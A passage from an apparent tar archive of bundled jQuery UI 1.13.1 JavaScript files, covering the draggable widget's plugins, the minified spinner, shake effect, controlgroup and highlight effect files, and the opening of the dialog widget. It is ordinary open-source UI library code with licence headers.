] ) ? top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : top; left = o.grid[ 0 ] ? this.originalPageX + Math.round( ( pageX - this.originalPageX ) / o.grid[ 0 ] ) * o.grid[ 0 ] : this.originalPageX; pageX = containment ? ( ( left - this.offset.click.left >= containment[ 0 ] || left - this.offset.click.left > containment[ 2 ] ) ? left : ( ( left - this.offset.click.left >= containment[ 0 ] ) ? left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : left; } if ( o.axis === "y" ) { pageX = this.originalPageX; } if ( o.axis === "x" ) { pageY = this.originalPageY; } } return { top: ( // The absolute mouse position pageY - // Click offset (relative to the element) this.offset.click.top - // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.top - // The offsetParent's offset without borders (offset + border) this.offset.parent.top + ( this.cssPosition === "fixed" ? -this.offset.scroll.top : ( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) ), left: ( // The absolute mouse position pageX - // Click offset (relative to the element) this.offset.click.left - // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.left - // The offsetParent's offset without borders (offset + border) this.offset.parent.left + ( this.cssPosition === "fixed" ? -this.offset.scroll.left : ( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) ) }; }, _clear: function() { this._removeClass( this.helper, "ui-draggable-dragging" ); if ( this.helper[ 0 ] !== this.element[ 0 ] && !this.cancelHelperRemoval ) { this.helper.remove(); } this.helper = null; this.cancelHelperRemoval = false; if ( this.destroyOnClear ) { this.destroy(); } }, // From now on bulk stuff - mainly helpers _trigger: function( type, event, ui ) { ui = ui || this._uiHash(); $.ui.plugin.call( this, type, [ event, ui, this ], true ); // Absolute position and offset (see #6884 ) have to be recalculated after plugins if ( /^(drag|start|stop)/.test( type ) ) { this.positionAbs = this._convertPositionTo( "absolute" ); ui.offset = this.positionAbs; } return $.Widget.prototype._trigger.call( this, type, event, ui ); }, plugins: {}, _uiHash: function() { return { helper: this.helper, position: this.position, originalPosition: this.originalPosition, offset: this.positionAbs }; } } ); $.ui.plugin.add( "draggable", "connectToSortable", { start: function( event, ui, draggable ) { var uiSortable = $.extend( {}, ui, { item: draggable.element } ); draggable.sortables = []; $( draggable.options.connectToSortable ).each( function() { var sortable = $( this ).sortable( "instance" ); if ( sortable && !sortable.options.disabled ) { draggable.sortables.push( sortable ); // RefreshPositions is called at drag start to refresh the containerCache // which is used in drag. This ensures it's initialized and synchronized // with any changes that might have happened on the page since initialization. sortable.refreshPositions(); sortable._trigger( "activate", event, uiSortable ); } } ); }, stop: function( event, ui, draggable ) { var uiSortable = $.extend( {}, ui, { item: draggable.element } ); draggable.cancelHelperRemoval = false; $.each( draggable.sortables, function() { var sortable = this; if ( sortable.isOver ) { sortable.isOver = 0; // Allow this sortable to handle removing the helper draggable.cancelHelperRemoval = true; sortable.cancelHelperRemoval = false; // Use _storedCSS To restore properties in the sortable, // as this also handles revert (#9675) since the draggable // may have modified them in unexpected ways (#8809) sortable._storedCSS = { position: sortable.placeholder.css( "position" ), top: sortable.placeholder.css( "top" ), left: sortable.placeholder.css( "left" ) }; sortable._mouseStop( event ); // Once drag has ended, the sortable should return to using // its original helper, not the shared helper from draggable sortable.options.helper = sortable.options._helper; } else { // Prevent this Sortable from removing the helper. // However, don't set the draggable to remove the helper // either as another connected Sortable may yet handle the removal. sortable.cancelHelperRemoval = true; sortable._trigger( "deactivate", event, uiSortable ); } } ); }, drag: function( event, ui, draggable ) { $.each( draggable.sortables, function() { var innermostIntersecting = false, sortable = this; // Copy over variables that sortable's _intersectsWith uses sortable.positionAbs = draggable.positionAbs; sortable.helperProportions = draggable.helperProportions; sortable.offset.click = draggable.offset.click; if ( sortable._intersectsWith( sortable.containerCache ) ) { innermostIntersecting = true; $.each( draggable.sortables, function() { // Copy over variables that sortable's _intersectsWith uses this.positionAbs = draggable.positionAbs; this.helperProportions = draggable.helperProportions; this.offset.click = draggable.offset.click; if ( this !== sortable && this._intersectsWith( this.containerCache ) && $.contains( sortable.element[ 0 ], this.element[ 0 ] ) ) { innermostIntersecting = false; } return innermostIntersecting; } ); } if ( innermostIntersecting ) { // If it intersects, we use a little isOver variable and set it once, // so that the move-in stuff gets fired only once. if ( !sortable.isOver ) { sortable.isOver = 1; // Store draggable's parent in case we need to reappend to it later. draggable._parent = ui.helper.parent(); sortable.currentItem = ui.helper .appendTo( sortable.element ) .data( "ui-sortable-item", true ); // Store helper option to later restore it sortable.options._helper = sortable.options.helper; sortable.options.helper = function() { return ui.helper[ 0 ]; }; // Fire the start events of the sortable with our passed browser event, // and our own helper (so it doesn't create a new one) event.target = sortable.currentItem[ 0 ]; sortable._mouseCapture( event, true ); sortable._mouseStart( event, true, true ); // Because the browser event is way off the new appended portlet, // modify necessary variables to reflect the changes sortable.offset.click.top = draggable.offset.click.top; sortable.offset.click.left = draggable.offset.click.left; sortable.offset.parent.left -= draggable.offset.parent.left - sortable.offset.parent.left; sortable.offset.parent.top -= draggable.offset.parent.top - sortable.offset.parent.top; draggable._trigger( "toSortable", event ); // Inform draggable that the helper is in a valid drop zone, // used solely in the revert option to handle "valid/invalid". draggable.dropped = sortable.element; // Need to refreshPositions of all sortables in the case that // adding to one sortable changes the location of the other sortables (#9675) $.each( draggable.sortables, function() { this.refreshPositions(); } ); // Hack so receive/update callbacks work (mostly) draggable.currentItem = draggable.element; sortable.fromOutside = draggable; } if ( sortable.currentItem ) { sortable._mouseDrag( event ); // Copy the sortable's position because the draggable's can potentially reflect // a relative position, while sortable is always absolute, which the dragged // element has now become. (#8809) ui.position = sortable.position; } } else { // If it doesn't intersect with the sortable, and it intersected before, // we fake the drag stop of the sortable, but make sure it doesn't remove // the helper by using cancelHelperRemoval. if ( sortable.isOver ) { sortable.isOver = 0; sortable.cancelHelperRemoval = true; // Calling sortable's mouseStop would trigger a revert, // so revert must be temporarily false until after mouseStop is called. sortable.options._revert = sortable.options.revert; sortable.options.revert = false; sortable._trigger( "out", event, sortable._uiHash( sortable ) ); sortable._mouseStop( event, true ); // Restore sortable behaviors that were modfied // when the draggable entered the sortable area (#9481) sortable.options.revert = sortable.options._revert; sortable.options.helper = sortable.options._helper; if ( sortable.placeholder ) { sortable.placeholder.remove(); } // Restore and recalculate the draggable's offset considering the sortable // may have modified them in unexpected ways. (#8809, #10669) ui.helper.appendTo( draggable._parent ); draggable._refreshOffsets( event ); ui.position = draggable._generatePosition( event, true ); draggable._trigger( "fromSortable", event ); // Inform draggable that the helper is no longer in a valid drop zone draggable.dropped = false; // Need to refreshPositions of all sortables just in case removing // from one sortable changes the location of other sortables (#9675) $.each( draggable.sortables, function() { this.refreshPositions(); } ); } } } ); } } ); $.ui.plugin.add( "draggable", "cursor", { start: function( event, ui, instance ) { var t = $( "body" ), o = instance.options; if ( t.css( "cursor" ) ) { o._cursor = t.css( "cursor" ); } t.css( "cursor", o.cursor ); }, stop: function( event, ui, instance ) { var o = instance.options; if ( o._cursor ) { $( "body" ).css( "cursor", o._cursor ); } } } ); $.ui.plugin.add( "draggable", "opacity", { start: function( event, ui, instance ) { var t = $( ui.helper ), o = instance.options; if ( t.css( "opacity" ) ) { o._opacity = t.css( "opacity" ); } t.css( "opacity", o.opacity ); }, stop: function( event, ui, instance ) { var o = instance.options; if ( o._opacity ) { $( ui.helper ).css( "opacity", o._opacity ); } } } ); $.ui.plugin.add( "draggable", "scroll", { start: function( event, ui, i ) { if ( !i.scrollParentNotHidden ) { i.scrollParentNotHidden = i.helper.scrollParent( false ); } if ( i.scrollParentNotHidden[ 0 ] !== i.document[ 0 ] && i.scrollParentNotHidden[ 0 ].tagName !== "HTML" ) { i.overflowOffset = i.scrollParentNotHidden.offset(); } }, drag: function( event, ui, i ) { var o = i.options, scrolled = false, scrollParent = i.scrollParentNotHidden[ 0 ], document = i.document[ 0 ]; if ( scrollParent !== document && scrollParent.tagName !== "HTML" ) { if ( !o.axis || o.axis !== "x" ) { if ( ( i.overflowOffset.top + scrollParent.offsetHeight ) - event.pageY < o.scrollSensitivity ) { scrollParent.scrollTop = scrolled = scrollParent.scrollTop + o.scrollSpeed; } else if ( event.pageY - i.overflowOffset.top < o.scrollSensitivity ) { scrollParent.scrollTop = scrolled = scrollParent.scrollTop - o.scrollSpeed; } } if ( !o.axis || o.axis !== "y" ) { if ( ( i.overflowOffset.left + scrollParent.offsetWidth ) - event.pageX < o.scrollSensitivity ) { scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft + o.scrollSpeed; } else if ( event.pageX - i.overflowOffset.left < o.scrollSensitivity ) { scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft - o.scrollSpeed; } } } else { if ( !o.axis || o.axis !== "x" ) { if ( event.pageY - $( document ).scrollTop() < o.scrollSensitivity ) { scrolled = $( document ).scrollTop( $( document ).scrollTop() - o.scrollSpeed ); } else if ( $( window ).height() - ( event.pageY - $( document ).scrollTop() ) < o.scrollSensitivity ) { scrolled = $( document ).scrollTop( $( document ).scrollTop() + o.scrollSpeed ); } } if ( !o.axis || o.axis !== "y" ) { if ( event.pageX - $( document ).scrollLeft() < o.scrollSensitivity ) { scrolled = $( document ).scrollLeft( $( document ).scrollLeft() - o.scrollSpeed ); } else if ( $( window ).width() - ( event.pageX - $( document ).scrollLeft() ) < o.scrollSensitivity ) { scrolled = $( document ).scrollLeft( $( document ).scrollLeft() + o.scrollSpeed ); } } } if ( scrolled !== false && $.ui.ddmanager && !o.dropBehaviour ) { $.ui.ddmanager.prepareOffsets( i, event ); } } } ); $.ui.plugin.add( "draggable", "snap", { start: function( event, ui, i ) { var o = i.options; i.snapElements = []; $( o.snap.constructor !== String ? ( o.snap.items || ":data(ui-draggable)" ) : o.snap ) .each( function() { var $t = $( this ), $o = $t.offset(); if ( this !== i.element[ 0 ] ) { i.snapElements.push( { item: this, width: $t.outerWidth(), height: $t.outerHeight(), top: $o.top, left: $o.left } ); } } ); }, drag: function( event, ui, inst ) { var ts, bs, ls, rs, l, r, t, b, i, first, o = inst.options, d = o.snapTolerance, x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width, y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height; for ( i = inst.snapElements.length - 1; i >= 0; i-- ) { l = inst.snapElements[ i ].left - inst.margins.left; r = l + inst.snapElements[ i ].width; t = inst.snapElements[ i ].top - inst.margins.top; b = t + inst.snapElements[ i ].height; if ( x2 < l - d || x1 > r + d || y2 < t - d || y1 > b + d || !$.contains( inst.snapElements[ i ].item.ownerDocument, inst.snapElements[ i ].item ) ) { if ( inst.snapElements[ i ].snapping ) { if ( inst.options.snap.release ) { inst.options.snap.release.call( inst.element, event, $.extend( inst._uiHash(), { snapItem: inst.snapElements[ i ].item } ) ); } } inst.snapElements[ i ].snapping = false; continue; } if ( o.snapMode !== "inner" ) { ts = Math.abs( t - y2 ) <= d; bs = Math.abs( b - y1 ) <= d; ls = Math.abs( l - x2 ) <= d; rs = Math.abs( r - x1 ) <= d; if ( ts ) { ui.position.top = inst._convertPositionTo( "relative", { top: t - inst.helperProportions.height, left: 0 } ).top; } if ( bs ) { ui.position.top = inst._convertPositionTo( "relative", { top: b, left: 0 } ).top; } if ( ls ) { ui.position.left = inst._convertPositionTo( "relative", { top: 0, left: l - inst.helperProportions.width } ).left; } if ( rs ) { ui.position.left = inst._convertPositionTo( "relative", { top: 0, left: r } ).left; } } first = ( ts || bs || ls || rs ); if ( o.snapMode !== "outer" ) { ts = Math.abs( t - y1 ) <= d; bs = Math.abs( b - y2 ) <= d; ls = Math.abs( l - x1 ) <= d; rs = Math.abs( r - x2 ) <= d; if ( ts ) { ui.position.top = inst._convertPositionTo( "relative", { top: t, left: 0 } ).top; } if ( bs ) { ui.position.top = inst._convertPositionTo( "relative", { top: b - inst.helperProportions.height, left: 0 } ).top; } if ( ls ) { ui.position.left = inst._convertPositionTo( "relative", { top: 0, left: l } ).left; } if ( rs ) { ui.position.left = inst._convertPositionTo( "relative", { top: 0, left: r - inst.helperProportions.width } ).left; } } if ( !inst.snapElements[ i ].snapping && ( ts || bs || ls || rs || first ) ) { if ( inst.options.snap.snap ) { inst.options.snap.snap.call( inst.element, event, $.extend( inst._uiHash(), { snapItem: inst.snapElements[ i ].item } ) ); } } inst.snapElements[ i ].snapping = ( ts || bs || ls || rs || first ); } } } ); $.ui.plugin.add( "draggable", "stack", { start: function( event, ui, instance ) { var min, o = instance.options, group = $.makeArray( $( o.stack ) ).sort( function( a, b ) { return ( parseInt( $( a ).css( "zIndex" ), 10 ) || 0 ) - ( parseInt( $( b ).css( "zIndex" ), 10 ) || 0 ); } ); if ( !group.length ) { return; } min = parseInt( $( group[ 0 ] ).css( "zIndex" ), 10 ) || 0; $( group ).each( function( i ) { $( this ).css( "zIndex", min + i ); } ); this.css( "zIndex", ( min + group.length ) ); } } ); $.ui.plugin.add( "draggable", "zIndex", { start: function( event, ui, instance ) { var t = $( ui.helper ), o = instance.options; if ( t.css( "zIndex" ) ) { o._zIndex = t.css( "zIndex" ); } t.css( "zIndex", o.zIndex ); }, stop: function( event, ui, instance ) { var o = instance.options; if ( o._zIndex ) { $( ui.helper ).css( "zIndex", o._zIndex ); } } } ); return $.ui.draggable; } ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/spinner.min.js�������������������������������������������������������������������������0000644�����������������00000016717�14717703502�0011734 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Spinner 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./button","./core"],t):t(jQuery)}(function(u){"use strict";function i(i){return function(){var t=this.element.val();i.apply(this,arguments),this._refresh(),t!==this.element.val()&&this._trigger("change")}}return u.widget("ui.spinner",{version:"1.13.1",defaultElement:"<input>",widgetEventPrefix:"spin",options:{classes:{"ui-spinner":"ui-corner-all","ui-spinner-down":"ui-corner-br","ui-spinner-up":"ui-corner-tr"},culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max),this._setOption("min",this.options.min),this._setOption("step",this.options.step),""!==this.value()&&this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var e=this._super(),s=this.element;return u.each(["min","max","step"],function(t,i){var n=s.attr(i);null!=n&&n.length&&(e[i]=n)}),e},_events:{keydown:function(t){this._start(t)&&this._keydown(t)&&t.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(t){this.cancelBlur?delete this.cancelBlur:(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger("change",t))},mousewheel:function(t,i){var n=u.ui.safeActiveElement(this.document[0]);if(this.element[0]===n&&i){if(!this.spinning&&!this._start(t))return!1;this._spin((0<i?1:-1)*this.options.step,t),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(t)},100),t.preventDefault()}},"mousedown .ui-spinner-button":function(t){var i;function n(){this.element[0]!==u.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=i,this._delay(function(){this.previous=i}))}i=this.element[0]===u.ui.safeActiveElement(this.document[0])?this.previous:this.element.val(),t.preventDefault(),n.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,n.call(this)}),!1!==this._start(t)&&this._repeat(null,u(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(t){if(u(t.currentTarget).hasClass("ui-state-active"))return!1!==this._start(t)&&void this._repeat(null,u(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseleave .ui-spinner-button":"_stop"},_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap("<span>").parent().append("<a></a><a></a>")},_draw:function(){this._enhance(),this._addClass(this.uiSpinner,"ui-spinner","ui-widget ui-widget-content"),this._addClass("ui-spinner-input"),this.element.attr("role","spinbutton"),this.buttons=this.uiSpinner.children("a").attr("tabIndex",-1).attr("aria-hidden",!0).button({classes:{"ui-button":""}}),this._removeClass(this.buttons,"ui-corner-all"),this._addClass(this.buttons.first(),"ui-spinner-button ui-spinner-up"),this._addClass(this.buttons.last(),"ui-spinner-button ui-spinner-down"),this.buttons.first().button({icon:this.options.icons.up,showLabel:!1}),this.buttons.last().button({icon:this.options.icons.down,showLabel:!1}),this.buttons.height()>Math.ceil(.5*this.uiSpinner.height())&&0<this.uiSpinner.height()&&this.uiSpinner.height(this.uiSpinner.height())},_keydown:function(t){var i=this.options,n=u.ui.keyCode;switch(t.keyCode){case n.UP:return this._repeat(null,1,t),!0;case n.DOWN:return this._repeat(null,-1,t),!0;case n.PAGE_UP:return this._repeat(null,i.page,t),!0;case n.PAGE_DOWN:return this._repeat(null,-i.page,t),!0}return!1},_start:function(t){return!(!this.spinning&&!1===this._trigger("start",t))&&(this.counter||(this.counter=1),this.spinning=!0)},_repeat:function(t,i,n){t=t||500,clearTimeout(this.timer),this.timer=this._delay(function(){this._repeat(40,i,n)},t),this._spin(i*this.options.step,n)},_spin:function(t,i){var n=this.value()||0;this.counter||(this.counter=1),n=this._adjustValue(n+t*this._increment(this.counter)),this.spinning&&!1===this._trigger("spin",i,{value:n})||(this._value(n),this.counter++)},_increment:function(t){var i=this.options.incremental;return i?"function"==typeof i?i(t):Math.floor(t*t*t/5e4-t*t/500+17*t/200+1):1},_precision:function(){var t=this._precisionOf(this.options.step);return t=null!==this.options.min?Math.max(t,this._precisionOf(this.options.min)):t},_precisionOf:function(t){var t=t.toString(),i=t.indexOf(".");return-1===i?0:t.length-i-1},_adjustValue:function(t){var i=this.options,n=null!==i.min?i.min:0,e=t-n;return t=n+Math.round(e/i.step)*i.step,t=parseFloat(t.toFixed(this._precision())),null!==i.max&&t>i.max?i.max:null!==i.min&&t<i.min?i.min:t},_stop:function(t){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",t))},_setOption:function(t,i){var n;if("culture"===t||"numberFormat"===t)return n=this._parse(this.element.val()),this.options[t]=i,void this.element.val(this._format(n));"max"!==t&&"min"!==t&&"step"!==t||"string"==typeof i&&(i=this._parse(i)),"icons"===t&&(n=this.buttons.first().find(".ui-icon"),this._removeClass(n,null,this.options.icons.up),this._addClass(n,null,i.up),n=this.buttons.last().find(".ui-icon"),this._removeClass(n,null,this.options.icons.down),this._addClass(n,null,i.down)),this._super(t,i)},_setOptionDisabled:function(t){this._super(t),this._toggleClass(this.uiSpinner,null,"ui-state-disabled",!!t),this.element.prop("disabled",!!t),this.buttons.button(t?"disable":"enable")},_setOptions:i(function(t){this._super(t)}),_parse:function(t){return""===(t="string"==typeof t&&""!==t?window.Globalize&&this.options.numberFormat?Globalize.parseFloat(t,10,this.options.culture):+t:t)||isNaN(t)?null:t},_format:function(t){return""===t?"":window.Globalize&&this.options.numberFormat?Globalize.format(t,this.options.numberFormat,this.options.culture):t},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},isValid:function(){var t=this.value();return null!==t&&t===this._adjustValue(t)},_value:function(t,i){var n;""!==t&&null!==(n=this._parse(t))&&(i||(n=this._adjustValue(n)),t=this._format(n)),this.element.val(t),this._refresh()},_destroy:function(){this.element.prop("disabled",!1).removeAttr("autocomplete role aria-valuemin aria-valuemax aria-valuenow"),this.uiSpinner.replaceWith(this.element)},stepUp:i(function(t){this._stepUp(t)}),_stepUp:function(t){this._start()&&(this._spin((t||1)*this.options.step),this._stop())},stepDown:i(function(t){this._stepDown(t)}),_stepDown:function(t){this._start()&&(this._spin((t||1)*-this.options.step),this._stop())},pageUp:i(function(t){this._stepUp((t||1)*this.options.page)}),pageDown:i(function(t){this._stepDown((t||1)*this.options.page)}),value:function(t){if(!arguments.length)return this._parse(this.element.val());i(this._value).call(this,t)},widget:function(){return this.uiSpinner}}),!1!==u.uiBackCompat&&u.widget("ui.spinner",u.ui.spinner,{_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml())},_uiSpinnerHtml:function(){return"<span>"},_buttonHtml:function(){return"<a></a><a></a>"}}),u.ui.spinner});�������������������������������������������������js/jquery/ui/effect-shake.min.js��������������������������������������������������������������������0000644�����������������00000001476�14717703502�0012577 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Shake 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(h){"use strict";return h.effects.define("shake",function(e,t){var n=1,i=h(this),a=e.direction||"left",f=e.distance||20,u=e.times||3,s=2*u+1,c=Math.round(e.duration/s),r="up"===a||"down"===a?"top":"left",a="up"===a||"left"===a,o={},d={},m={},g=i.queue().length;for(h.effects.createPlaceholder(i),o[r]=(a?"-=":"+=")+f,d[r]=(a?"+=":"-=")+2*f,m[r]=(a?"-=":"+=")+2*f,i.animate(o,c,e.easing);n<u;n++)i.animate(d,c,e.easing).animate(m,c,e.easing);i.animate(d,c,e.easing).animate(o,c/2,e.easing).queue(t),h.effects.unshift(i,g,1+s)})});��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/controlgroup.min.js��������������������������������������������������������������������0000644�����������������00000010477�14717703502�0013010 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Controlgroup 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./core"],t):t(jQuery)}(function(r){"use strict";var s=/ui-corner-([a-z]){2,6}/g;return r.widget("ui.controlgroup",{version:"1.13.1",defaultElement:"<div>",options:{direction:"horizontal",disabled:null,onlyVisible:!0,items:{button:"input[type=button], input[type=submit], input[type=reset], button, a",controlgroupLabel:".ui-controlgroup-label",checkboxradio:"input[type='checkbox'], input[type='radio']",selectmenu:"select",spinner:".ui-spinner-input"}},_create:function(){this._enhance()},_enhance:function(){this.element.attr("role","toolbar"),this.refresh()},_destroy:function(){this._callChildMethod("destroy"),this.childWidgets.removeData("ui-controlgroup-data"),this.element.removeAttr("role"),this.options.items.controlgroupLabel&&this.element.find(this.options.items.controlgroupLabel).find(".ui-controlgroup-label-contents").contents().unwrap()},_initWidgets:function(){var s=this,l=[];r.each(this.options.items,function(n,t){var e,o={};if(t)return"controlgroupLabel"===n?((e=s.element.find(t)).each(function(){var t=r(this);t.children(".ui-controlgroup-label-contents").length||t.contents().wrapAll("<span class='ui-controlgroup-label-contents'></span>")}),s._addClass(e,null,"ui-widget ui-widget-content ui-state-default"),void(l=l.concat(e.get()))):void(r.fn[n]&&(o=s["_"+n+"Options"]?s["_"+n+"Options"]("middle"):{classes:{}},s.element.find(t).each(function(){var t=r(this),e=t[n]("instance"),i=r.widget.extend({},o);"button"===n&&t.parent(".ui-spinner").length||((e=e||t[n]()[n]("instance"))&&(i.classes=s._resolveClassesValues(i.classes,e)),t[n](i),i=t[n]("widget"),r.data(i[0],"ui-controlgroup-data",e||t[n]("instance")),l.push(i[0]))})))}),this.childWidgets=r(r.uniqueSort(l)),this._addClass(this.childWidgets,"ui-controlgroup-item")},_callChildMethod:function(e){this.childWidgets.each(function(){var t=r(this).data("ui-controlgroup-data");t&&t[e]&&t[e]()})},_updateCornerClass:function(t,e){e=this._buildSimpleOptions(e,"label").classes.label;this._removeClass(t,null,"ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"),this._addClass(t,null,e)},_buildSimpleOptions:function(t,e){var i="vertical"===this.options.direction,n={classes:{}};return n.classes[e]={middle:"",first:"ui-corner-"+(i?"top":"left"),last:"ui-corner-"+(i?"bottom":"right"),only:"ui-corner-all"}[t],n},_spinnerOptions:function(t){t=this._buildSimpleOptions(t,"ui-spinner");return t.classes["ui-spinner-up"]="",t.classes["ui-spinner-down"]="",t},_buttonOptions:function(t){return this._buildSimpleOptions(t,"ui-button")},_checkboxradioOptions:function(t){return this._buildSimpleOptions(t,"ui-checkboxradio-label")},_selectmenuOptions:function(t){var e="vertical"===this.options.direction;return{width:e&&"auto",classes:{middle:{"ui-selectmenu-button-open":"","ui-selectmenu-button-closed":""},first:{"ui-selectmenu-button-open":"ui-corner-"+(e?"top":"tl"),"ui-selectmenu-button-closed":"ui-corner-"+(e?"top":"left")},last:{"ui-selectmenu-button-open":e?"":"ui-corner-tr","ui-selectmenu-button-closed":"ui-corner-"+(e?"bottom":"right")},only:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"}}[t]}},_resolveClassesValues:function(i,n){var o={};return r.each(i,function(t){var e=n.options.classes[t]||"",e=String.prototype.trim.call(e.replace(s,""));o[t]=(e+" "+i[t]).replace(/\s+/g," ")}),o},_setOption:function(t,e){"direction"===t&&this._removeClass("ui-controlgroup-"+this.options.direction),this._super(t,e),"disabled"===t?this._callChildMethod(e?"disable":"enable"):this.refresh()},refresh:function(){var o,s=this;this._addClass("ui-controlgroup ui-controlgroup-"+this.options.direction),"horizontal"===this.options.direction&&this._addClass(null,"ui-helper-clearfix"),this._initWidgets(),o=this.childWidgets,(o=this.options.onlyVisible?o.filter(":visible"):o).length&&(r.each(["first","last"],function(t,e){var i,n=o[e]().data("ui-controlgroup-data");n&&s["_"+n.widgetName+"Options"]?((i=s["_"+n.widgetName+"Options"](1===o.length?"only":e)).classes=s._resolveClassesValues(i.classes,n),n.element[n.widgetName](i)):s._updateCornerClass(o[e](),e)}),this._callChildMethod("refresh"))}})});�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-highlight.min.js����������������������������������������������������������������0000644�����������������00000001170�14717703502�0013442 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Highlight 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(i){"use strict";return i.effects.define("highlight","show",function(e,n){var o=i(this),t={backgroundColor:o.css("backgroundColor")};"hide"===e.mode&&(t.opacity=0),i.effects.saveStyle(o),o.css({backgroundImage:"none",backgroundColor:e.color||"#ffff99"}).animate(t,{queue:!1,duration:e.duration,easing:e.easing,complete:n})})});��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/dialog.js������������������������������������������������������������������������������0000644�����������������00000056030�14717703502�0010723 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Dialog 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Dialog //>>group: Widgets //>>description: Displays customizable dialog windows. //>>docs: http://api.jqueryui.com/dialog/ //>>demos: http://jqueryui.com/dialog/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/dialog.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./button", "./draggable", "./mouse", "./resizable", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.dialog", { version: "1.13.1", options: { appendTo: "body", autoOpen: true, buttons: [], classes: { "ui-dialog": "ui-corner-all", "ui-dialog-titlebar": "ui-corner-all" }, closeOnEscape: true, closeText: "Close", draggable: true, hide: null, height: "auto", maxHeight: null, maxWidth: null, minHeight: 150, minWidth: 150, modal: false, position: { my: "center", at: "center", of: window, collision: "fit", // Ensure the titlebar is always visible using: function( pos ) { var topOffset = $( this ).css( pos ).offset().top; if ( topOffset < 0 ) { $( this ).css( "top", pos.top - topOffset ); } } }, resizable: true, show: null, title: null, width: 300, // Callbacks beforeClose: null, close: null, drag: null, dragStart: null, dragStop: null, focus: null, open: null, resize: null, resizeStart: null, resizeStop: null }, sizeRelatedOptions: { buttons: true, height: true, maxHeight: true, maxWidth: true, minHeight: true, minWidth: true, width: true }, resizableRelatedOptions: { maxHeight: true, maxWidth: true, minHeight: true, minWidth: true }, _create: function() { this.originalCss = { display: this.element[ 0 ].style.display, width: this.element[ 0 ].style.width, minHeight: this.element[ 0 ].style.minHeight, maxHeight: this.element[ 0 ].style.maxHeight, height: this.element[ 0 ].style.height }; this.originalPosition = { parent: this.element.parent(), index: this.element.parent().children().index( this.element ) }; this.originalTitle = this.element.attr( "title" ); if ( this.options.title == null && this.originalTitle != null ) { this.options.title = this.originalTitle; } // Dialogs can't be disabled if ( this.options.disabled ) { this.options.disabled = false; } this._createWrapper(); this.element .show() .removeAttr( "title" ) .appendTo( this.uiDialog ); this._addClass( "ui-dialog-content", "ui-widget-content" ); this._createTitlebar(); this._createButtonPane(); if ( this.options.draggable 